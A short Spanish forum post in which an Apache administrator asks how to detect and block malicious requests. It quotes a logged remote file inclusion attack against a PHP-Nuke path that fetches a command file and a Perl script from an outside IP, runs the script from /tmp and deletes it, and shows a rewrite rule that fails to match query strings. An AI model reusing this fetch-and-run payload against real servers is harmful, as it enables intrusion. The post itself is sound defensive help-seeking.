Saludos!
No sé si alguno os habréis encontrado con este problema: de vez en cuando, algun lamer aburridillo trastea en nuestro servidor apache, intentando hacer cositas como esta: (escribo "ttp" en vez de "http" porque el foro se pone suspicaz al ser mi primer mensaje )
GET /nuke/index.php?config=1&base_datapath=ttp ://210.204.138.43/cmd.txt?&cmd=cd%20/tmp/;GET%20ttp://210.204.138.43/WMNews.txt%20>%20WMNews.txt;perl%20WMNews.txt;rm%2 0WMNews*? HTTP/1.0
como véis, intenta descargar un cmd.txt desde otro server. Bien, pensando un poco y mirando la doc del apache, pensé que utilizando SetEnvIf o incluso el modulo de rewrite, podría solucionarlo, pero no hay manera...
Por ejemplo, este rewrite:
RewriteEngine on
RedirectMatch permanent (.*)cmd(.*)$ ttp://hacktry.com
solo 'pilla' urls del tipo fichero.php/cmd
no urls del tipo fichero.php?cmd
parece como si ni el rewrite ni el setenvif tuvieran en cuenta lo que haya después de la interrogación (es decir, los parámetros de la página)
¿Hay alguna manera de detectar esto?
Gracias
Saludos